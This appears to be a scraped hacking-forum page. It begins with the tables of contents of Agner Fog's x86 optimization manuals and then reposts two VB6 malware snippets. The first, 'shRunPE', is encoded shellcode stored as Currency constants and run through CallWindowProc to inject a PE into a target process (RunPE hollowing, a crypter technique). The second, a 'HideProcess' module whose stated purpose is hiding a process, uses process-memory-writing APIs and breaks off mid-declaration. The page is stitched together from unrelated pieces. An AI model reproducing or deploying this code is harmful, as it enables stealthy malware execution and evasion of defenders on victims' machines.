64-bit memory models in Linux and BSD ................................................................ 45 13.5 64-bit memory models in Intel-based Mac (Darwin) ................................................ 45 14 Relocation of executable code....................................................................................... 46 15 Object file formats .........................................................................................................48 15.1 OMF format............................................................................................................. 48 15.2 COFF format........................................................................................................... 49 15.3 ELF format.............................................................................................................. 49 15.4 Mach-O format........................................................................................................ 50 15.5 a.out format............................................................................................................. 50 15.6 Comparison of object file formats............................................................................ 50 15.7 Conversion between object file formats................................................................... 50 15.8 Intermediate file formats ......................................................................................... 51 16 Debug information......................................................................................................... 51 17 Data endian-ness .......................................................................................................... 52 2 18 Predefined macros ........................................................................................................ 52 19 Available C++ Compilers ............................................................................................... 54 19.1 Microsoft .................................................................................................................54 19.2 Borland ...................................................................................................................54 19.3 Watcom .................................................................................................................. 54 19.4 Gnu......................................................................................................................... 54 19.5 Digital Mars............................................................................................................. 54 19.6 Codeplay ................................................................................................................ 54 19.7 Intel......................................................................................................................... 54 20 Literature...................................................................................................................... 55 20.1 ABI’s for Unix, Linux, BSD and Mac OS X (Intel-based).......................................... 55 20.2 ABIs for Windows.................................................................................................... 55 20.3 Object file format specifications............................................................................... 56 21 Copyright notice ............................................................................................................56 22 Acknowledgments ......................................................................................................... 56 Via: Software optimization resources - rohitab.com - Forums Download: http://agner.org/optimize/calling_conventions.pdf
-
Instruction tables Lists of instruction latencies, throughputs and microoperation breakdowns for Intel, AMD and VIA CPUs By Agner Fog. Copenhagen University College of Engineering. Copyright © 1996 - 2011. Last updated 2011-06-08. Contents 1 Introduction ....................................................................................................................... 3 1.1 Definition of terms....................................................................................................... 4 1.2 Microprocessor versions tested .................................................................................. 5 1.3 How the values were measured.................................................................................. 6 2 List of instruction timings for Intel Pentium and Pentium MMX........................................... 8 2.1 Integer instructions (Pentium and Pentium MMX) ....................................................... 8 2.2 Floating point instructions (Pentium and Pentium MMX) ........................................... 10 2.3 MMX instructions (Pentium MMX)............................................................................. 12 3 List of instruction timings and µop breakdown for Intel Pentium II and Pentium III........... 13 3.1 Integer instructions (Pentium Pro, Pentium II and Pentium III) .................................. 13 3.2 Floating point x87 instructions (Pentium Pro, Pentium II and Pentium III) ................. 16 3.3 Integer MMX instructions (Pentium II and Pentium III) .............................................. 17 3.4 Floating point XMM instructions (Pentium III) ............................................................ 19 4 List of instruction timings and µop breakdown for Intel Pentium M................................... 21 4.1 Integer instructions.................................................................................................... 21 4.2 Floating point x87 instructions................................................................................... 25 4.3 Integer MMX and XMM instructions .......................................................................... 26 4.4 Floating point XMM instructions ................................................................................ 29 5 List of instruction timings and µop breakdown for Intel Core 2 (Merom, 65nm)................ 32 5.1 Integer instructions.................................................................................................... 33 5.2 Floating point x87 instructions................................................................................... 37 5.3 Integer MMX and XMM instructions .......................................................................... 39 5.4 Floating point XMM instructions ................................................................................ 42 6 List of instruction timings and µop breakdown for Intel Core 2 (Wolfdale, 45nm) ............. 45 6.1 Integer instructions.................................................................................................... 46 6.2 Floating point x87 instructions................................................................................... 50 6.3 Integer MMX and XMM instructions .......................................................................... 52 6.4 Floating point XMM instructions ................................................................................ 56 7 List of instruction timings and µop breakdown for Intel Nehalem ..................................... 59 7.1 Integer instructions.................................................................................................... 60 7.2 Floating point x87 instructions................................................................................... 65 7.3 Integer MMX and XMM instructions .......................................................................... 67 7.4 Floating point XMM instructions ................................................................................ 71 8 List of instruction timings and µop breakdown for Intel Sandy Bridge .............................. 74 8.1 Integer instructions.................................................................................................... 75 8.2 Floating point x87 instructions................................................................................... 79 8.3 Integer MMX and XMM instructions .......................................................................... 81 8.4 Floating point XMM instructions ................................................................................ 85 9 List of instruction timings and µop breakdown for Intel Pentium 4.................................... 90 9.1 integer instructions.................................................................................................... 91 9.2 Floating point x87 instructions................................................................................... 95 9.3 Integer MMX and XMM instructions .......................................................................... 96 9.4 Floating point XMM instructions ................................................................................ 98 10 List of instruction timings and µop br. for Intel Pentium 4 w. EM64T (Prescott)............ 100 10.1 Integer instructions................................................................................................ 101 2 10.2 Floating point x87 instructions............................................................................... 105 10.3 Integer MMX and XMM instructions ...................................................................... 107 10.4 Floating point XMM instructions ............................................................................ 109 11 List of instruction timings and µop breakdown for Intel Atom....................................... 111 11.1 Integer instructions................................................................................................ 111 11.2 Floating point x87 instructions............................................................................... 116 11.3 Integer MMX and XMM instructions ...................................................................... 118 11.4 Floating point XMM instructions ............................................................................ 120 12 List of instruction timings and µop breakdown for VIA Nano 2000 series..................... 122 12.1 Integer instructions................................................................................................ 122 12.2 Floating point x87 instructions............................................................................... 126 12.3 Integer MMX and XMM instructions ...................................................................... 128 12.4 Floating point XMM instructions ............................................................................ 130 12.5 VIA-specific instructions........................................................................................ 132 13 List of instruction timings and µop breakdown for VIA Nano 3000 series..................... 133 13.1 Integer instructions................................................................................................ 133 13.2 Floating point x87 instructions............................................................................... 137 13.3 Integer MMX and XMM instructions ...................................................................... 139 13.4 Floating point XMM instructions ............................................................................ 141 13.5 VIA-specific instructions........................................................................................ 143 14 Instruction timings and macro-operation breakdown for AMD K7 ................................ 144 14.1 Integer instructions................................................................................................ 144 14.2 Floating point x87 instructions............................................................................... 148 14.3 Integer MMX instructions ...................................................................................... 150 14.4 Floating point XMM instructions ............................................................................ 151 14.5 3DNow instructions............................................................................................... 152 15 Instruction timings and macro-operation breakdown for AMD K8 ................................ 153 15.1 Integer instructions................................................................................................ 153 15.2 Floating point x87 instructions............................................................................... 157 15.3 Integer MMX and XMM instructions ...................................................................... 159 15.4 Floating point XMM instructions ............................................................................ 161 15.5 3DNow instructions............................................................................................... 162 16 Instruction timings and macro-operation breakdown for AMD K10 .............................. 164 16.1 Integer instructions................................................................................................ 164 16.2 Floating point x87 instructions............................................................................... 168 16.3 Integer MMX and XMM instructions ...................................................................... 170 16.4 Floating point XMM instructions ............................................................................ 172 16.5 3DNow instructions............................................................................................... 173 17 Instruction timings and macro-operation breakdown for AMD Bobcat.......................... 175 17.1 Integer instructions................................................................................................ 175 17.2 Floating point x87 instructions............................................................................... 179 17.3 Integer MMX and XMM instructions ...................................................................... 181 17.4 Floating point XMM instructions ............................................................................ 183 18 Instruction set compatibility table................................................................................. 185 18.1 Explanation of instruction sets .............................................................................. 186 19 Comparison of the different microprocessors .............................................................. 190 20 Literature..................................................................................................................... 191 21 Copyright notice .......................................................................................................... 191 Via: Software optimization resources - rohitab.com - Forums Download: http://agner.org/optimize/instruction_tables.pdf
-
The microarchitecture of Intel, AMD and VIA CPUs An optimization guide for assembly programmers and compiler makers By Agner Fog. Copenhagen University College of Engineering. Copyright © 1996 - 2011. Last updated 2011-06-08. Contents 1 Introduction ....................................................................................................................... 4 1.1 About this manual ....................................................................................................... 4 1.2 Microprocessor versions covered by this manual........................................................ 5 2 Out-of-order execution (All processors except P1, PMMX)................................................ 7 2.1 Instructions are split into µops..................................................................................... 7 2.2 Register renaming ...................................................................................................... 8 3 Branch prediction (all processors) ................................................................................... 10 3.1 Prediction methods for conditional jumps.................................................................. 10 3.2 Branch prediction in P1............................................................................................. 15 3.3 Branch prediction in PMMX, PPro, P2, and P3 ......................................................... 19 3.4 Branch prediction in P4 and P4E .............................................................................. 20 3.5 Branch prediction in PM and Core2 .......................................................................... 23 3.6 Branch prediction in Intel Nehalem ........................................................................... 25 3.7 Branch prediction in Intel Sandy Bridge .................................................................... 26 3.8 Branch prediction in Intel Atom ................................................................................. 26 3.9 Branch prediction in VIA Nano.................................................................................. 27 3.10 Branch prediction in AMD K8 and K10.................................................................... 28 3.11 Branch prediction in AMD Bobcat ........................................................................... 30 3.12 Indirect jumps on older processors ......................................................................... 31 3.13 Returns (all processors except P1) ......................................................................... 31 3.14 Static prediction ...................................................................................................... 32 3.15 Close jumps............................................................................................................ 33 4 Pentium 1 and Pentium MMX pipeline............................................................................. 35 4.1 Pairing integer instructions........................................................................................ 35 4.2 Address generation interlock..................................................................................... 39 4.3 Splitting complex instructions into simpler ones ........................................................ 39 4.4 Prefixes..................................................................................................................... 40 4.5 Scheduling floating point code .................................................................................. 41 5 Pentium Pro, II and III pipeline......................................................................................... 44 5.1 The pipeline in PPro, P2 and P3 ............................................................................... 44 5.2 Instruction fetch ........................................................................................................ 44 5.3 Instruction decoding.................................................................................................. 45 5.4 Register renaming .................................................................................................... 49 5.5 ROB read.................................................................................................................. 49 5.6 Out of order execution .............................................................................................. 53 5.7 Retirement ................................................................................................................ 54 5.8 Partial register stalls.................................................................................................. 55 5.9 Store forwarding stalls .............................................................................................. 58 5.10 Bottlenecks in PPro, P2, P3.................................................................................... 59 6 Pentium M pipeline.......................................................................................................... 61 6.1 The pipeline in PM.................................................................................................... 61 6.2 The pipeline in Core Solo and Duo ........................................................................... 62 6.3 Instruction fetch ........................................................................................................ 62 6.4 Instruction decoding.................................................................................................. 62 2 6.5 Loop buffer ............................................................................................................... 64 6.6 Micro-op fusion ......................................................................................................... 64 6.7 Stack engine............................................................................................................. 66 6.8 Register renaming .................................................................................................... 68 6.9 Register read stalls ................................................................................................... 68 6.10 Execution units ....................................................................................................... 70 6.11 Execution units that are connected to both port 0 and 1.......................................... 70 6.12 Retirement .............................................................................................................. 72 6.13 Partial register access............................................................................................. 72 6.14 Store forwarding stalls ............................................................................................ 74 6.15 Bottlenecks in PM................................................................................................... 74 7 Core 2 and Nehalem pipeline .......................................................................................... 77 7.1 Pipeline..................................................................................................................... 77 7.2 Instruction fetch and predecoding ............................................................................. 77 7.3 Instruction decoding.................................................................................................. 80 7.4 Micro-op fusion ......................................................................................................... 80 7.5 Macro-op fusion........................................................................................................ 81 7.6 Stack engine............................................................................................................. 82 7.7 Register renaming .................................................................................................... 82 7.8 Register read stalls ................................................................................................... 83 7.9 Execution units ......................................................................................................... 84 7.10 Retirement .............................................................................................................. 88 7.11 Partial register access............................................................................................. 88 7.12 Store forwarding stalls ............................................................................................ 89 7.13 Cache and memory access..................................................................................... 91 7.14 Breaking dependency chains .................................................................................. 91 7.15 Multithreading in Nehalem ...................................................................................... 92 7.16 Bottlenecks in Core2 and Nehalem......................................................................... 93 8 Sandy Bridge pipeline ..................................................................................................... 95 8.1 Pipeline..................................................................................................................... 95 8.2 Instruction fetch and decoding .................................................................................. 95 8.3 µop cache................................................................................................................. 95 8.4 Loopback buffer ........................................................................................................ 96 8.5 Micro-op fusion ......................................................................................................... 96 8.6 Macro-op fusion........................................................................................................ 96 8.7 Stack engine............................................................................................................. 97 8.8 Register allocation and renaming.............................................................................. 97 8.9 Register read stalls ................................................................................................... 98 8.10 Execution units ....................................................................................................... 98 8.11 Partial register access........................................................................................... 101 8.12 Transitions between VEX and non-VEX modes .................................................... 102 8.13 Cache and memory access................................................................................... 102 8.14 Store forwarding stalls .......................................................................................... 103 8.15 Multithreading ....................................................................................................... 103 8.16 Bottlenecks in Sandy Bridge ................................................................................. 104 9 Pentium 4 (NetBurst) pipeline........................................................................................ 106 9.1 Data cache ............................................................................................................. 106 9.2 Trace cache............................................................................................................ 106 9.3 Instruction decoding................................................................................................ 111 9.4 Execution units ....................................................................................................... 112 9.5 Do the floating point and MMX units run at half speed? .......................................... 114 9.6 Transfer of data between execution units................................................................ 117 9.7 Retirement .............................................................................................................. 119 9.8 Partial registers and partial flags............................................................................. 120 9.9 Store forwarding stalls ............................................................................................ 121 9.10 Memory intermediates in dependency chains ....................................................... 121 9.11 Breaking dependency chains ................................................................................ 123 9.12 Choosing the optimal instructions ......................................................................... 123 3 9.13 Bottlenecks in P4 and P4E.................................................................................... 126 10 Intel Atom pipeline....................................................................................................... 129 10.1 Instruction fetch .................................................................................................... 129 10.2 Instruction decoding.............................................................................................. 129 10.3 Execution units ..................................................................................................... 129 10.4 Instruction pairing.................................................................................................. 130 10.5 X87 floating point instructions ............................................................................... 131 10.6 Instruction latencies .............................................................................................. 132 10.7 Memory access..................................................................................................... 132 10.8 Branches and loops .............................................................................................. 133 10.9 Multithreading ....................................................................................................... 133 10.10 Bottlenecks in Atom............................................................................................ 134 11 VIA Nano pipeline........................................................................................................ 135 11.1 Performance monitor counters.............................................................................. 135 11.2 Instruction fetch .................................................................................................... 135 11.3 Instruction decoding.............................................................................................. 135 11.4 Instruction fusion................................................................................................... 135 11.5 Out of order system .............................................................................................. 136 11.6 Execution ports ..................................................................................................... 136 11.7 Latencies between execution units ....................................................................... 137 11.8 Partial registers and partial flags........................................................................... 139 11.9 Breaking dependence ........................................................................................... 139 11.10 Memory access................................................................................................... 140 11.11 Branches and loops ............................................................................................ 140 11.12 VIA specific instructions ...................................................................................... 140 11.13 Bottlenecks in Nano............................................................................................ 141 12 AMD K8 and K10 pipeline ........................................................................................... 142 12.1 The pipeline in AMD processors ........................................................................... 142 12.2 Instruction fetch .................................................................................................... 144 12.3 Predecoding and instruction length decoding........................................................ 144 12.4 Single, double and vector path instructions........................................................... 145 12.5 Stack engine......................................................................................................... 146 12.6 Integer execution pipes......................................................................................... 146 12.7 Floating point execution pipes............................................................................... 146 12.8 Mixing instructions with different latency ............................................................... 148 12.9 64 bit versus 128 bit instructions........................................................................... 149 12.10 Data delay between differently typed instructions................................................ 150 12.11 Partial register access......................................................................................... 150 12.12 Partial flag access............................................................................................... 151 12.13 Store forwarding stalls ........................................................................................ 151 12.14 Loops.................................................................................................................. 152 12.15 Cache ................................................................................................................. 152 12.16 Bottlenecks in AMD............................................................................................. 154 13 AMD Bobcat pipeline................................................................................................... 155 13.1 The pipeline in AMD Bobcat.................................................................................. 156 13.2 Instruction fetch .................................................................................................... 156 13.3 Instruction decoding.............................................................................................. 156 13.4 Single, double and complex instructions ............................................................... 156 13.5 Integer execution pipes......................................................................................... 156 13.6 Floating point execution pipes............................................................................... 156 13.7 Mixing instructions with different latency ............................................................... 157 13.8 Dependency-breaking instructions........................................................................ 157 13.9 Data delay between differently typed instructions ................................................. 157 13.10 Partial register access......................................................................................... 157 13.11 Cache ................................................................................................................. 157 13.12 Store forwarding stalls ........................................................................................ 158 13.13 Bottlenecks in Bobcat ......................................................................................... 158 13.14 Literature: ........................................................................................................... 158 4 14 Comparison of microarchitectures ............................................................................... 158 14.1 The AMD kernel.................................................................................................... 158 14.2 The Pentium 4 kernel............................................................................................ 160 14.3 The Pentium M kernel........................................................................................... 161 14.4 Intel Core 2 and Nehalem microarchitecture ......................................................... 162 14.5 Intel Sandy Bridge microarchitecture .................................................................... 163 15 Comparison of low power microarchitectures .............................................................. 164 15.1 Intel Atom microarchitecture ................................................................................. 164 15.2 VIA Nano microarchitecture .................................................................................. 164 15.3 AMD Bobcat microarchitecture.............................................................................. 164 15.4 Conclusion............................................................................................................ 164 15.5 Future trends ........................................................................................................ 166 16 Literature..................................................................................................................... 169 17 Copyright notice .......................................................................................................... 169 Download: http://agner.org/optimize/microarchitecture.pdf
-
Optimizing subroutines in assembly language An optimization guide for x86 platforms By Agner Fog. Copenhagen University College of Engineering. Copyright © 1996 - 2011. Last updated 2011-06-08. Contents 1 Introduction ....................................................................................................................... 4 1.1 Reasons for using assembly code .............................................................................. 5 1.2 Reasons for not using assembly code ........................................................................ 5 1.3 Microprocessors covered by this manual .................................................................... 6 1.4 Operating systems covered by this manual................................................................. 7 2 Before you start................................................................................................................. 7 2.1 Things to decide before you start programming .......................................................... 7 2.2 Make a test strategy.................................................................................................... 9 2.3 Common coding pitfalls............................................................................................. 10 3 The basics of assembly coding........................................................................................ 12 3.1 Assemblers available................................................................................................ 12 3.2 Register set and basic instructions............................................................................ 14 3.3 Addressing modes .................................................................................................... 18 3.4 Instruction code format ............................................................................................. 24 3.5 Instruction prefixes.................................................................................................... 26 4 ABI standards.................................................................................................................. 27 4.1 Register usage.......................................................................................................... 27 4.2 Data storage ............................................................................................................. 28 4.3 Function calling conventions ..................................................................................... 28 4.4 Name mangling and name decoration ...................................................................... 30 4.5 Function examples.................................................................................................... 31 5 Using intrinsic functions in C++ ....................................................................................... 33 5.1 Using intrinsic functions for system code .................................................................. 35 5.2 Using intrinsic functions for instructions not available in standard C++ ..................... 35 5.3 Using intrinsic functions for vector operations ........................................................... 35 5.4 Availability of intrinsic functions................................................................................. 35 6 Using inline assembly in C++ .......................................................................................... 36 6.1 MASM style inline assembly ..................................................................................... 37 6.2 Gnu style inline assembly ......................................................................................... 41 7 Using an assembler......................................................................................................... 44 7.1 Static link libraries..................................................................................................... 46 7.2 Dynamic link libraries................................................................................................ 46 7.3 Libraries in source code form.................................................................................... 47 7.4 Making classes in assembly...................................................................................... 48 7.5 Thread-safe functions ............................................................................................... 50 7.6 Makefiles ..................................................................................................................50 8 Making function libraries compatible with multiple compilers and platforms..................... 51 8.1 Supporting multiple name mangling schemes........................................................... 52 8.2 Supporting multiple calling conventions in 32 bit mode ............................................. 53 8.3 Supporting multiple calling conventions in 64 bit mode ............................................. 56 8.4 Supporting different object file formats...................................................................... 57 8.5 Supporting other high level languages ...................................................................... 58 9 Optimizing for speed ....................................................................................................... 59 9.1 Identify the most critical parts of your code ............................................................... 59 9.2 Out of order execution .............................................................................................. 59 2 9.3 Instruction fetch, decoding and retirement ................................................................ 62 9.4 Instruction latency and throughput ............................................................................ 63 9.5 Break dependency chains......................................................................................... 64 9.6 Jumps and calls ........................................................................................................ 65 10 Optimizing for size......................................................................................................... 72 10.1 Choosing shorter instructions.................................................................................. 72 10.2 Using shorter constants and addresses .................................................................. 74 10.3 Reusing constants .................................................................................................. 75 10.4 Constants in 64-bit mode ........................................................................................ 75 10.5 Addresses and pointers in 64-bit mode................................................................... 75 10.6 Making instructions longer for the sake of alignment............................................... 77 10.7 Using multi-byte NOPs for alignment ...................................................................... 80 11 Optimizing memory access............................................................................................ 80 11.1 How caching works................................................................................................. 81 11.2 Trace cache............................................................................................................ 82 11.3 µop cache............................................................................................................... 82 11.4 Alignment of data.................................................................................................... 82 11.5 Alignment of code ................................................................................................... 85 11.6 Organizing data for improved caching..................................................................... 86 11.7 Organizing code for improved caching.................................................................... 87 11.8 Cache control instructions....................................................................................... 87 12 Loops ............................................................................................................................ 87 12.1 Minimize loop overhead .......................................................................................... 88 12.2 Induction variables.................................................................................................. 90 12.3 Move loop-invariant code........................................................................................ 91 12.4 Find the bottlenecks................................................................................................ 92 12.5 Instruction fetch, decoding and retirement in a loop ................................................ 92 12.6 Distribute µops evenly between execution units...................................................... 93 12.7 An example of analysis for bottlenecks on PM........................................................ 93 12.8 Same example on Core2 ........................................................................................ 97 12.9 Same example on Sandy Bridge............................................................................. 98 12.10 Loop unrolling ....................................................................................................... 99 12.11 Optimize caching ................................................................................................ 101 12.12 Parallelization ..................................................................................................... 102 12.13 Analyzing dependences...................................................................................... 104 12.14 Loops on processors without out-of-order execution........................................... 108 12.15 Macro loops ........................................................................................................ 109 13 Vector programming.................................................................................................... 111 13.1 Conditional moves in SIMD registers .................................................................... 113 13.2 Using vector instructions with other types of data than they are intended for ........ 116 13.3 Shuffling data........................................................................................................ 117 13.4 Generating constants............................................................................................ 121 13.5 Accessing unaligned data ..................................................................................... 123 13.6 Using AVX instruction set and YMM registers ....................................................... 127 13.7 Vector operations in general purpose registers ..................................................... 131 14 Multithreading.............................................................................................................. 133 14.1 Hyperthreading ..................................................................................................... 133 15 CPU dispatching.......................................................................................................... 134 15.1 Checking for operating system support for XMM and YMM registers .................... 135 16 Problematic Instructions .............................................................................................. 136 16.1 LEA instruction (all processors)............................................................................. 136 16.2 INC and DEC........................................................................................................ 137 16.3 XCHG (all processors) .......................................................................................... 137 16.4 Shifts and rotates (P4) .......................................................................................... 138 16.5 Rotates through carry (all processors) .................................................................. 138 16.6 Bit test (all processors) ......................................................................................... 138 16.7 LAHF and SAHF (all processors) .......................................................................... 138 16.8 Integer multiplication (all processors).................................................................... 138 3 16.9 Division (all processors)........................................................................................ 138 16.10 String instructions (all processors) ...................................................................... 143 16.11 WAIT instruction (all processors) ........................................................................ 144 16.12 FCOM + FSTSW AX (all processors).................................................................. 145 16.13 FPREM (all processors) ...................................................................................... 146 16.14 FRNDINT (all processors)................................................................................... 146 16.15 FSCALE and exponential function (all processors) ............................................. 146 16.16 FPTAN (all processors)....................................................................................... 148 16.17 FSQRT (SSE processors)................................................................................... 148 16.18 FLDCW (Most Intel processors) .......................................................................... 148 17 Special topics .............................................................................................................. 149 17.1 XMM versus floating point registers ...................................................................... 149 17.2 MMX versus XMM registers .................................................................................. 150 17.3 XMM versus YMM registers .................................................................................. 150 17.4 Freeing floating point registers (all processors)..................................................... 150 17.5 Transitions between floating point and MMX instructions...................................... 151 17.6 Converting from floating point to integer (All processors) ...................................... 151 17.7 Using integer instructions for floating point operations .......................................... 152 17.8 Using floating point instructions for integer operations .......................................... 155 17.9 Moving blocks of data (All processors).................................................................. 156 17.10 Self-modifying code (All processors) ................................................................... 157 18 Measuring performance............................................................................................... 158 18.1 Testing speed ....................................................................................................... 158 18.2 The pitfalls of unit-testing ...................................................................................... 160 19 Literature..................................................................................................................... 160 20 Copyright notice .......................................................................................................... 160 Download: http://agner.org/optimize/optimizing_assembly.pdf
-
[VB6] shRunpe [fully standalone Runpe shellcode] --by hamavb Author: [h=3]hamavb[/h] As the title says, this's a fully standalone Runpe shellcode (i assume that you know what Runpe is. if not, try google it then come back and read this thread). and ofcorse the shellcode can be used in any programming language, you just have to convert it. 'Author : hamavb 'First cut : 02/03/2012 16:50 'Credits : karcrack & cobein Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcW" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Function ShRunPE(ByVal TargetHost As String, bBuffer() As Byte) Dim Asm(160) As Currency Asm(0) = 3011782251321.1488@ Asm(1) = 2842944510165.0021@ Asm(2) = 21475170.7244@ Asm(3) = 3039972698908.2734@ Asm(4) = 0.0108@ Asm(5) = 0@ Asm(6) = 0@ Asm(7) = 0@ Asm(8) = 0@ Asm(9) = 0@ Asm(10) = 770918988510973.1328@ Asm(11) = 609196292101137.4146@ Asm(12) = 318076019310180.1508@ Asm(13) = -857485367476117.5446@ Asm(14) = 399392180.8913@ Asm(15) = -706833318868351.5511@ Asm(16) = 6879439133396.1731@ Asm(17) = 763810498335316.3776@ Asm(18) = 388654513.6166@ Asm(19) = 98506041997.169@ Asm(20) = 24964196938431.9488@ Asm(21) = 22034984796.16@ Asm(22) = 305625529718164.0704@ Asm(23) = -410459675325501.5192@ Asm(24) = -172419915909691.6991@ Asm(25) = 150655457759015.8157@ Asm(26) = 763810498295053.1535@ Asm(27) = -334758189796557.4082@ Asm(28) = 763810498175933.6042@ Asm(29) = 769693235337619.0272@ Asm(30) = 658651445508203.5218@ Asm(31) = 93228415366.4744@ Asm(32) = 337544363.4688@ Asm(33) = -171181400105556.1333@ Asm(34) = -43143787013419.7499@ Asm(35) = -843073848963811.6758@ Asm(36) = 586115344006226.9449@ Asm(37) = 81903309047.8335@ Asm(38) = -170655782147139.7888@ Asm(39) = -296106572219468.926@ Asm(40) = -171744351251070.9758@ Asm(41) = 478565684273270.0365@ Asm(42) = 766128157362243.3@ Asm(43) = 763822153521118.6688@ Asm(44) = -5798494293561.088@ Asm(45) = 292876624.968@ Asm(46) = -303308424893800.028@ Asm(47) = 18687314406408.1922@ Asm(48) = -814921249263117.9264@ Asm(49) = 377936345376908.9026@ Asm(50) = 914455950214871.0911@ Asm(51) = 793381819255881.7282@ Asm(52) = 247979454486563.4385@ Asm(53) = -842580059571706.7544@ Asm(54) = 261953043.9225@ Asm(55) = 1351124663940.1355@ Asm(56) = -5728895679889.4336@ Asm(57) = 16435523184027.2177@ Asm(58) = 453291086712582.9632@ Asm(59) = -171181401297649.6638@ Asm(60) = 247984901789109.5093@ Asm(61) = 763853927511347.5304@ Asm(62) = 68764336814004.0238@ Asm(63) = 377880083361326.677@ Asm(64) = 58153857883.8015@ Asm(65) = -170634502550313.984@ Asm(66) = -6846382739763.962@ Asm(67) = 217285200.5584@ Asm(68) = 273152312385105.8024@ Asm(69) = 13733354816300.6466@ Asm(70) = 764000768607145.1648@ Asm(71) = 17395153563837.4458@ Asm(72) = -353751767489869.7902@ Asm(73) = 763363.3281@ Asm(74) = 392094642558210.6624@ Asm(75) = 764766522162398.7432@ Asm(76) = 126410412043612.3678@ Asm(77) = 27351427555.8027@ Asm(78) = 11706747011255.5776@ Asm(79) = -757276053642969.088@ Asm(80) = 360268856045024.0513@ Asm(81) = 749398978656993.7514@ Asm(82) = 12354147786351.6251@ Asm(83) = 769693219347778.7648@ Asm(84) = 414640788194904.6822@ Asm(85) = -171181417231738.2261@ Asm(86) = 276807880992725.4373@ Asm(87) = -842805239553082.2424@ Asm(88) = 37043291672.0721@ Asm(89) = 507392545273423.744@ Asm(90) = 769258247064186.1864@ Asm(91) = 68764336812483.5886@ Asm(92) = 360268875651665.0832@ Asm(93) = 749398978495932.017@ Asm(94) = 9651988025294.3009@ Asm(95) = 769693219347778.7648@ Asm(96) = 126410412042563.7942@ Asm(97) = -171294008471547.0205@ Asm(98) = -387449256181707.5451@ Asm(99) = 363299752439103.6175@ Asm(100) = -410459675325517.2888@ Asm(101) = -172926570866094.7199@ Asm(102) = -635688100489173.3787@ Asm(103) = 763810497261576.6376@ Asm(104) = 126410412042144.3634@ Asm(105) = -843073849903335.4646@ Asm(106) = 769693215773368.7817@ Asm(107) = 414640788193698.8194@ Asm(108) = 4951342415221.7475@ Asm(109) = 4636260512845.0048@ Asm(110) = -171631782205882.368@ Asm(111) = 507388721888441.1549@ Asm(112) = 31815578412492.9256@ Asm(113) = -872572382190820.8041@ Asm(114) = -286501654647065.8048@ Asm(115) = -428658242031485.5343@ Asm(116) = 3149895693349.6588@ Asm(117) = 22752143878461.8496@ Asm(118) = 10655039450.0177@ Asm(119) = 19434514006.2976@ Asm(120) = 2249161163731.9936@ Asm(121) = 590215178835617.3824@ Asm(122) = -171519195984216.1688@ Asm(123) = 334471606820667.3981@ Asm(124) = -6937148713125.7624@ Asm(125) = 3006614124114.7186@ Asm(126) = 457802337043140.7336@ Asm(127) = 34749504.673@ Asm(128) = -843073850212036.239@ Asm(129) = 536232810004781.4409@ Asm(130) = 699902812802672.356@ Asm(131) = -439434742750697.5805@ Asm(132) = 756604737376275.6714@ Asm(133) = 869968633553.1604@ Asm(134) = 450404738465.792@ Asm(135) = -7194094211452.1344@ Asm(136) = -1353710065018.4752@ Asm(137) = -439079356974065.2545@ Asm(138) = 566676858034822.4232@ Asm(139) = 32602016.4622@ Asm(140) = -7089160921751.4365@ Asm(141) = 410061545662244.4496@ Asm(142) = 617979275378688@ Asm(143) = 725985904952471.1762@ Asm(144) = 854193482151915.9435@ Asm(145) = -842159216757581.13@ Asm(146) = 457592490565246.7766@ Asm(147) = 17684902147728.7019@ Asm(148) = 643884385768544.0491@ Asm(149) = 622040492439682.185@ Asm(150) = 842553683379673.7879@ Asm(151) = 865826324060815.6483@ Asm(152) = 233132869356380.6979@ Asm(153) = -841594865717950.1309@ Asm(154) = -598169487549740.1085@ Asm(155) = 22006038477175.2068@ Asm(156) = 843978581769276.108@ Asm(157) = -840178504924852.7391@ Asm(158) = -836852911227146.7764@ Asm(159) = 643884385767650.3812@ Asm(160) = 328436.0538@ CallWindowProc VarPtr(Asm(0)), StrPtr(TargetHost), VarPtr(bBuffer(0)), 0, 0 End Function Usage example : ShRunPE "Target Exe Path", "PE data as byte()" Sursa: http://www.hackhound.org/forum/topic/43748-shrunpe-fully-standalone-runpe-shellcode-by-hamavb/
-
[VB6] HideProcess without Driver Author: [h=3]f0rce[/h] Credits: Mrfrog SqUeEzEr Attribute VB_Name = "mHideProcess" '--------------------------------------------------------------------------------------- ' Module : mHideProcess ' ' Author : f0rce ' ' Credits : Very Big Thanks to SqUeEzEr & Mrfrog ' ' Mail : f0rce@hotmail.de ' ' Published : 17/03/2011 ' ' Purpose : Hide a Process without Driver or other things ' ' Compile in P-Code then it works ' ' ' ' License : You can use this code in your own applications, share the source... ' ' Don't forget to leave credits or assume you're an asshole. ' '--------------------------------------------------------------------------------------- Option Explicit Option Base 0 '// @kernel32.dll Private Declare Function CloseHandle Lib "Kernel32.dll" (ByVal hObject As Long) As Long Private Declare Function OpenProcess Lib "Kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long Private Declare Function VirtualFreeEx Lib "Kernel32.dll" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long Private Declare Function VirtualAllocEx Lib "Kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function WriteProcessMemory Lib "Kernel32.dll" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Public Declare Function GetLastError Lib "kernel32" () As Integer '// @user32.dll Private Declare Function SetTimer Lib "user32.dll" (ByVal Hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long Private Declare Function KillTimer Lib "user32.dll" (ByVal Hwnd As Long, ByVal nIDEvent As Long) As Long Private Declare Function FindWindowA Lib "user32.dll" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessageA Lib "user32.dll" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Function GetClassNameA Lib "user32.dll" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long Private Declare Function SetWindowLongA Lib "user32.dll" (ByVal Hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function CallWindowProcA Lib "user32.dll" (ByVal lpPrevWndFunc As Long, ByVal Hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare 